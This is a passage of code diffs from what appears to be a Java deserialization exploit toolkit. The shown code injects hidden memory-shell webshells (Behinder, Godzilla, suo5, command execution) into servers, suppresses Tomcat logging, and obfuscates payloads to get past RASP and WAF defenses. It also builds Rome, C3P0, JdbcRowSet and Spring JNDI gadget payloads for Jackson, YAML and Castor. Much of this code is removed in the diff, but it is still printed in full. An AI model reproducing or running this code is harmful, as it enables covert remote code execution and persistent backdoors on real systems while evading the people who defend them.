Reflections.setFieldValue(hashMap, "table", arr);
return hashMap;
}
public Class<?> defineClass(String name, byte[] bytecode) {
return defineClass(name, bytecode, 0, bytecode.length);
}
}
@@ -1,189 +1,20 @@
package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.template.memshellStatic.tomcat.TFMSFromJMX;
import javassist.*;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.CommandLineParser;
import org.apache.commons.cli.DefaultParser;
import org.apache.commons.cli.Options;
import java.util.Arrays;
import java.util.List;
import static com.qi4l.JYso.controllers.ysoserial.getOptions;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
public class InjShell {
public static CommandLine cmdLine;
public static void insertKeyMethod(CtClass ctClass, String type) throws Exception {
// 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
String name = ctClass.getName();
name = name.substring(name.lastIndexOf(".") + 1);
// 大多数 SpringBoot 项目使用内置 Tomcat
boolean isTomcat = name.startsWith("T") || name.startsWith("Spring");
boolean isWebflux = name.contains("Webflux");
// 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑
String method = "";
if (name.contains("SpringControllerMS")) {
method = "drop";
} else if (name.contains("Struts2ActionMS")) {
method = "executeAction";
}
List<CtClass> classes = new java.util.ArrayList<CtClass>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
for (CtClass value : classes) {
String className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
method = Config.KEY_METHOD_MAP.get(className);
break;
}
}
// 命令执行、各种内存马
insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";");
insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";");
if ("bx".equals(type)) {
try {
ctClass.getDeclaredMethod("base64Decode");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
}
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodByClass");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodAndInvoke");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
}
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass));
}
String shell = "";
if (isTomcat) {
insertTomcatNoLog(ctClass);
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT;
} else {
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL;
}
insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD));
} else if ("gz".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";");
try {
ctClass.getDeclaredMethod("base64Decode");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX));
} else {
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL));
}
} else if ("gzraw".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL));
} else if ("suo5".equals(type)) {
// 先写入一些需要的基础属性
insertField(ctClass, "gInStream", "java.io.InputStream gInStream;");
insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;");
// 依次写入方法
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass));
// 为恶意类设置 Runnable 接口以及 RUN 方法
CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable");
ctClass.addInterface(runnableClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass));
// 插入关键方法
insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5));
} else if ("execute".equals(type)) {
insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";");
insertCMD(ctClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass));
insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL));
} else if ("ws".equals(type)) {
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL));
} else if ("upgrade".equals(type)) {
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL));
} else {
insertCMD(ctClass);
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX));
} else if (isTomcat) {
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT));
} else {
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL));
}
}
ctClass.setName(generateClassName());
insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";");
}
// 恶心一下人,实际没用
public static String converString(String target) {
if (Config.IS_OBSCURE) {
@@ -198,40 +29,6 @@ public class InjShell {
return "\"" + target + "\"";
}
public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException {
//添加到类路径,防止出错
ClassPool pool;
pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class));
// 根据传入的不同参数,在不同方法中插入不同的逻辑
CtMethod cm = ctClass.getDeclaredMethod(method);
cm.setBody(payload);
}
/**
* 向指定类中写入命令执行方法 execCmd
* 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
*
* @param ctClass 指定类
* @throws Exception 抛出异常
*/
public static void insertCMD(CtClass ctClass) throws Exception {
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass));
} else {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass));
}
}
public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception {
ctClass.defrost();
try {
@@ -253,7 +50,6 @@ public class InjShell {
}
}
//类加载方式,因类而异
public static String injectClass(Class clazz) {
@@ -279,61 +75,6 @@ public class InjShell {
"};";
}
public static void insertTomcatNoLog(CtClass ctClass) throws Exception {
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodByClass");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodAndInvoke");
} catch (NotFoundException e) {
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE_OBSCURE), ctClass));
} else {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
}
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TOMCAT_NO_LOG), ctClass));
}
private static Options getOptions() {
Options options = new Options();
options.addOption("yso", "ysoserial", true, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
return options;
}
public static void init(String[] args) throws Exception {
final Options options = getOptions();
@@ -7,9 +7,6 @@ import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.C3P0WrapperConnPool;
import com.qi4l.JYso.gadgets.SpringUtil;
import com.qi4l.JYso.gadgets.TemplatesUtil;
import com.qi4l.JYso.gadgets.UtilFactory;
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
@@ -58,105 +55,23 @@ public class Serializer implements Callable<byte[]> {
public static void qiserialize(
Object obj,
final OutputStream out,
String payloadType,
String Command
final OutputStream out
) throws Exception {
ObjectOutputStream objOut = null;
AbstractHessianOutput AobjOut = null;
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
if (IS_DIRTY_IN_TC_RESET) {
objOut = new SuObjectOutputStream(out);
new SuObjectOutputStream(out);
} else if (IS_UTF_Bypass) {
if (BASE64) {
objOut = new UTF8OverlongObjectOutputStream(outB64);
new UTF8OverlongObjectOutputStream(outB64);
} else {
objOut = new UTF8OverlongObjectOutputStream(out);
new UTF8OverlongObjectOutputStream(out);
}
} else if (IS_Hessian1) {
if (BASE64) {
AobjOut = new HessianOutput(outB64);
} else {
AobjOut = new HessianOutput(out);
}
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
AobjOut.setSerializerFactory(sf);
} else if (IS_Hessian2) {
if (BASE64) {
AobjOut = new Hessian2Output(outB64);
} else {
AobjOut = new Hessian2Output(out);
}
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
AobjOut.setSerializerFactory(sf);
AobjOut.writeObject(obj);
AobjOut.close();
} else if (IS_Xstream) {
XStream xstream = new XStream();
String xml = xstream.toXML(obj);
System.out.println(xml);
return;
} else if (IS_Kryo) {
Kryo kryo = new Kryo();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (Output output = new Output(bos)) {
kryo.writeClassAndObject(output, obj);
}
if (BASE64) {
String base64String = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64String);
} else {
System.out.println(bos);
}
return;
} else if (IS_JsonIO) {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
UtilFactory uf = new UtilFactory();
obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start"));
System.out.println(obj);
return;
} else if (payloadType.equals("Rome")) {
obj = makeRome(Command);
System.out.println(obj);
return;
}
String jsonio = JsonWriter.objectToJson(obj);
System.out.println(jsonio);
return;
} else if (IS_YamlBeans) {
obj = YamlBeansHandler(payloadType, Command);
System.out.println(obj);
return;
} else if (IS_JYAML) {
String payload = JYamlHandler(payloadType, Command);
System.out.println(payload);
return;
} else if (IS_Castor) {
obj = CastorHandler(payloadType, Command);
System.out.println(obj);
return;
} else if (IS_Jackson) {
obj = JacksonHandler(payloadType, Command);
System.out.println(obj);
return;
} else {
if (BASE64) {
objOut = new SuObjectOutputStream(outB64);
new SuObjectOutputStream(outB64);
} else {
objOut = new SuObjectOutputStream(out);
}
}
if (IS_Hessian1 || IS_Hessian2) {
if (AobjOut != null) {
AobjOut.writeObject(obj);
}
} else {
if (objOut != null) {
objOut.writeObject(obj);
new SuObjectOutputStream(out);
}
}
@@ -166,121 +81,6 @@ public class Serializer implements Callable<byte[]> {
}
}
public static Object makeRome(String Command) throws Exception {
UtilFactory uf = new UtilFactory();
String[] args = {Command};
Object tpl = TemplatesUtil.createTemplatesImpl(args);
Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl);
String marshalled = JsonWriter.objectToJson(obj1);
// add the transient _tfactory field
marshalled = marshalled.replace(
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",",
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\""
+ ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},");
return marshalled;
}
public static <T> Object makeROMEAllPropertyTrigger(UtilFactory uf, Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return uf.makeHashCodeTrigger(root);
}
public static Object YamlBeansHandler(String payloadType, String command) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
globalinline = true;
if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
} else {
return null;
}
}
public static Object JacksonHandler(String payloadType, String jndiUrl) throws Exception {
switch (payloadType) {
case "SpringAbstractBeanFactoryPointcutAdvisor": {
Map<String, String> values = new LinkedHashMap<>();
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
values.put("adviceBeanName", quoteString(jndiUrl));
return writeCollection(
HashSet.class.getName(),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP));
}
case "C3P0WrapperConnPool":
URI uri = new URI(jndiUrl);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeJackJsonObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
case "SpringPropertyPathFactory": {
Map<String, String> values = new LinkedHashMap<>();
values.put("targetBeanName", quoteString(jndiUrl));
values.put("propertyPath", quoteString("foo"));
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
return writeJackJsonObject(PropertyPathFactoryBean.class, values);
}
case "JdbcRowSet": {
Map<String, String> values = new LinkedHashMap<>();
values.put("dataSourceName", quoteString(jndiUrl));
values.put("autoCommit", "true");
return writeJackJsonObject(JdbcRowSetImpl.class, values);
}
case "C3P0RefDataSource": {
Map<String, String> values = new LinkedHashMap<>();
values.put("jndiName", quoteString(jndiUrl));
values.put("loginTimeout", "0");
return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values);
}
default:
return null;
}
}
public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
switch (payloadType) {
case "JdbcRowSet":
Map<String, String> properties = new LinkedHashMap<>();
properties.put("dataSourceName", writeString(command));
properties.put("autoCommit", "true");
return writeObject(JdbcRowSetImpl.class, properties);
case "C3P0WrapperConnPool":
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
case "C3P0RefDataSource":
Map<String, String> props = new LinkedHashMap<>();
props.put("jndiName", writeString(command));
props.put("loginTimeout", "0");
return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props);
default:
return null;
}
}
public static Object CastorHandler(String payloadType, String jndiName) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">"
+ "<target-bean-name>" + jndiName + "</target-bean-name><property-path>foo</property-path>"
+ "<bean-factory xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">" + "<shareable-resource>" + jndiName
+ "</shareable-resource></bean-factory></x>";
} else if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(jndiName);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\" "
+ "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]) + "\"/>";
} else {
return null;
}
}
protected static String writeObject(Class<?> clazz, Map<String, String> properties) {
return writeObject(clazz.getName(), properties);
}
@@ -1,7 +1,5 @@
package com.qi4l.JYso.gadgets;
package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.gadgets.utils.ClassFiles;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
@@ -106,4 +104,4 @@ public class TemplatesUtil {
private static final long serialVersionUID = 8207363842866235160L;
}
}
}
@@ -15,12 +15,55 @@ import java.util.Random;
import java.util.zip.Deflater;
import java.util.zip.GZIPOutputStream;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.InputStream;
import java.lang.reflect.*;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler;
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod;
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
public class Utils {
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<>();
map.put(key, val);
return map;
}
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
public static Class<?> makeClass(String clazzName) {
ClassPool classPool = ClassPool.getDefault();
@@ -198,7 +241,7 @@ public class Utils {
public static String getClassCode(Class<?> clazz) throws Exception {
byte[] bytes;
if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) {
if (clazz.getName().equals("com.feihong.ldap.template.com.qi4l.JYso.template.Meterpreter")) {
bytes = ClassByteChange.update();
} else {
@@ -45,8 +45,8 @@ public class TransformerUtil {
command = command.substring(3);
String bcelBytes;
// 对 BCEL 也支持 EX 或 LF 扩展功能
if (command.startsWith("EX-") || command.startsWith("LF-")) {
// 对 BCEL 也支持 LF 扩展功能
if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
} else {
@@ -56,7 +56,7 @@ public class TransformerUtil {
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
} else if (command.startsWith("JD-")) {
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
} else if (command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
if (USING_MOZILLA_DEFININGCLASSLOADER) {
@@ -29,176 +29,6 @@ public class ClassMethodHandler {
cm.insertBefore(payload);
}
public static void insertKeyMethodByClassName(CtClass ctClass, String className, String type) throws Exception {
// 动态为 Echo回显类 添加执行命令功能
if (className.endsWith("Echo")) {
insertCMD(ctClass);
ctClass.getDeclaredMethod("q").setBody("{return execCmd($1);}");
return;
}
// 如果是 RMI 内存马,则修改其中的 registryPort、bindPort、serviceName,插入关键方法
if (className.contains("RMIBindTemplate")) {
String[] parts = type.split("-");
if (parts.length < 3) {
// BindPort 写 0 就是随机端口
throw new IllegalArgumentException("Command format is: EX-MS-RMIBindTemplate-<RegistryPort>-<BindPort>-<ServiceName>");
}
// 插入关键参数
String rPortString = "port=" + parts[0] + ";";
ctClass.makeClassInitializer().insertBefore(rPortString);
String bPort = "bindPort=" + parts[1] + ";";
ctClass.makeClassInitializer().insertBefore(bPort);
String sName = "serviceName=\"" + parts[2] + "\";";
ctClass.makeClassInitializer().insertBefore(sName);
ctClass.setInterfaces(new CtClass[]{Config.POOL.get("javax.management.remote.rmi.RMIConnection"), Config.POOL.get("java.io.Serializable")});
// 插入目标执行类
insertCMD(ctClass);
ctClass.addMethod(CtMethod.make("public String getDefaultDomain(javax.security.auth.Subject subject) throws java.io.IOException {return new String(execCmd(((java.security.Principal)subject.getPrincipals().iterator().next()).getName()).toByteArray());}", ctClass));
return;
}
// 获取每个不同的类对应要插入的方法名
String method = getMethodName(ctClass);
// WebSocket 内存马
if (className.contains("TWSMSFromThread")) {
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.WS_SHELL));
return;
}
// Tomcat Upgrade 内存马
if (className.contains("TUGMSFromJMX")) {
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
insertGetFieldValue(ctClass);
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.UPGRADE_SHELL));
return;
}
// Tomcat Executor 内存马
if (className.contains("TEXMSFromThread")) {
insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";");
insertCMD(ctClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_REQUEST), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_RESPONSE), ctClass));
insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.EXECUTOR_SHELL));
return;
}
// 其他的进入下一段处理逻辑
if (StringUtils.isNotEmpty(type)) {
insertKeyMethod(ctClass, type, method);
}
}
public static void insertKeyMethod(CtClass ctClass, String type, String method) throws Exception {
// 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
String name = ctClass.getName();
name = name.substring(name.lastIndexOf(".") + 1);
// 大多数 SpringBoot 项目使用内置 Tomcat
boolean isTomcat = name.startsWith("T") || name.startsWith("Spring");
boolean isWebflux = name.contains("Webflux");
// 命令执行、各种内存马
insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";");
insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";");
if ("bx".equals(type)) {
insertBase64Decode(ctClass);
